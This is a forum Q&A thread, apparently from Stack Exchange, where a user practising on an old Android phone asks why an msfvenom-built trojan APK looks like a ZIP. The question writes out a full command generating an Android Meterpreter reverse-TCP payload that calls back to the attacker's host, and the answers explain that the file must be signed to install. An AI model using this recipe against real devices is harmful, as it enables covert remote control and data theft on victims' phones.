Metasploit creating .ZIP files instead of .APK files?

Question

I have been practicing using an old Android device and Kali Linux. I set up the trojan .apk file like normal, using the command

msfvenom -p android/meterpreter/reverse_tcp LHOST=MyIP LPORT=RandomPort R> /root/Android.apk

It created an .apk at first, but when the process finished, it gave me a .zip file with manifests and application signatures.

Is there something I am doing wrong when I am creating this file? Or is there a way to convert these .zip files to .apk files?

It's not really clear what you are asking. Every apk is a zip file. How did you determine that your file is not a apk but a zip file? — Josef, Jan 17 '17 at 09:50
Also: Are you sure that you don't have a default program associated with the extension? ie - 7zip automatically opens the apk and you assume that it's a zip archive. Also, simply try changing the extension and install. — thel3l, Jan 17 '17 at 09:54
On my desktop it came up as a zip file. I also know its not a apk file becauss I tried to install it on my device. Its came up with an error stating that the application cannot be installed — GipsyD, Jan 17 '17 at 09:54
I never taught about the defaults. I will look into that ASAP — GipsyD, Jan 17 '17 at 09:55

score 3 · Accepted Answer · edited Mar 17 '17 at 13:14

3

The command is ok and apk file is created.

An apk file really is a zip file with the extension changed (as @Josef said in comments), so your problem is other. Maybe you have apk files associated in your O.S. to a program which usually open zip files and that's because you are thinking is a zip file but it is an apk file. Checkout that!

EDIT Look at this. Try to sign your file.

edited Mar 17 '17 at 13:14

Community

1

answered Jan 17 '17 at 11:23

OscarAkaElvis

5,185
3
17
48

So will the apk files have things like a META-INF folder and so on? – GipsyD Jan 17 '17 at 11:25
Now that I think about it. I think that the problem is that the .apk is not signed, so that may be causing the problem – GipsyD Jan 17 '17 at 11:42
1

Could be... I edited my answer. Check it out! – OscarAkaElvis Jan 17 '17 at 12:00
Absolutely terrific! It worked! It turns out that the apk had to be signed, otherwise it would not work. Thank you so much! I cannot thank you enough! – GipsyD Jan 17 '17 at 12:10

Metasploit creating .ZIP files instead of .APK files?

1 Answers1